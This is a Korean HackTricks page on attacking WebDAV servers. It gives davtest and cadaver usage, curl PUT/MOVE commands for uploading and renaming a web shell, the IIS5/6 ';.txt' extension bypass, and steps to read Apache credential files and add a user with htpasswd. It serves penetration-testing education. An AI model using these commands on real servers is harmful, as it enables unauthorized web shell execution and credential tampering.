WebDav
Reading time: 3 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
WebDav가 활성화된 HTTP 서버를 다룰 때, 올바른 자격 증명이 있다면 파일을 조작할 수 있습니다. 이는 일반적으로 HTTP Basic Authentication을 통해 확인됩니다. 이러한 서버에 대한 제어를 얻는 것은 종종 웹쉘의 업로드 및 실행을 포함합니다.
WebDav 서버에 접근하려면 일반적으로 유효한 자격 증명이 필요하며, WebDav bruteforce는 이를 획득하는 일반적인 방법입니다.
파일 업로드에 대한 제한을 극복하기 위해, 특히 서버 측 스크립트 실행을 방지하는 제한이 있는 경우, 다음과 같은 방법을 사용할 수 있습니다:
- 제한이 없으면 실행 가능한 확장자를 가진 파일을 직접 업로드합니다.
- 업로드된 비실행 파일(예: .txt)의 이름을 실행 가능한 확장자로 변경합니다.
- 업로드된 비실행 파일을 복사하고, 그 확장자를 실행 가능한 것으로 변경합니다.
DavTest
Davtest는 다양한 확장자를 가진 여러 파일을 업로드하고 확장자가 실행되는지 확인하려고 합니다:
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
이것은 .txt 및 .html 확장자가 실행되고 있다는 의미가 아닙니다. 이는 웹을 통해 이 파일에 접근할 수 있다는 의미입니다.
Cadaver
이 도구를 사용하여 WebDav 서버에 연결하고 수동으로 업로드, 이동 또는 삭제와 같은 작업을 수행할 수 있습니다.
cadaver <IP>
PUT 요청
curl -T 'shell.txt' 'http://$ip'
MOVE 요청
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
IIS5/6 WebDav 취약점
이 취약점은 매우 흥미롭습니다. WebDav는 .asp 확장자를 가진 파일을 업로드하거나 이름을 변경하는 것을 허용하지 않습니다. 그러나 이름 끝에 **";.txt"**를 추가하면 파일이 .asp 파일처럼 실행됩니다 (대신 **".html"**을 사용할 수도 있지만 **";"**를 잊지 마세요).
그런 다음 당신은 자신의 쉘을 ".txt" 파일로 업로드하고 ".asp;.txt" 파일로 복사/이동할 수 있습니다. 웹 서버를 통해 해당 파일에 접근하면 실행됩니다 (cadaver는 이동 작업이 작동하지 않았다고 말할 것이지만, 실제로는 작동했습니다).
자격 증명 후
Webdav가 Apache 서버를 사용하고 있다면 Apache에 구성된 사이트를 확인해야 합니다. 일반적으로:
_/etc/apache2/sites-enabled/000-default_
그 안에는 다음과 같은 내용을 찾을 수 있습니다:
ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user
보시다시피 webdav 서버에 대한 유효한 credentials가 포함된 파일이 있습니다:
/etc/apache2/users.password
이러한 유형의 파일 안에는 username과 hash된 비밀번호가 있습니다. 이것들은 웹다브 서버가 사용자를 인증하는 데 사용하는 자격 증명입니다.
당신은 그것들을 crack하거나, 어떤 이유로든 webdav 서버에 access하기 위해 더 많은 것을 add할 수 있습니다:
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
새로운 자격 증명이 작동하는지 확인하려면 다음을 수행할 수 있습니다:
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
References
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.